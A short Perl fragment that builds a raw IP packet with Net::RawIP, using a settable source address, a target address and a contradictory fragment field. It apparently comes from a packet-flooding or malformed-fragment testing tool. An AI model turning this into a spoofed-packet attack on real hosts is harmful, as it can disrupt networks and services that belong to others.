$packet_generic = new Net::RawIP({
                            ip   => {
                                     saddr => $src_address,
                                     daddr => $target_address,
                                     id => 0x455,
                                     ttl => 255,
                                     tos => 0,
                                     frag_off => 0x67FF
                                         },
                                generic => {
                                        data => "asdasdasdasdasdasd"
                                        }
                          });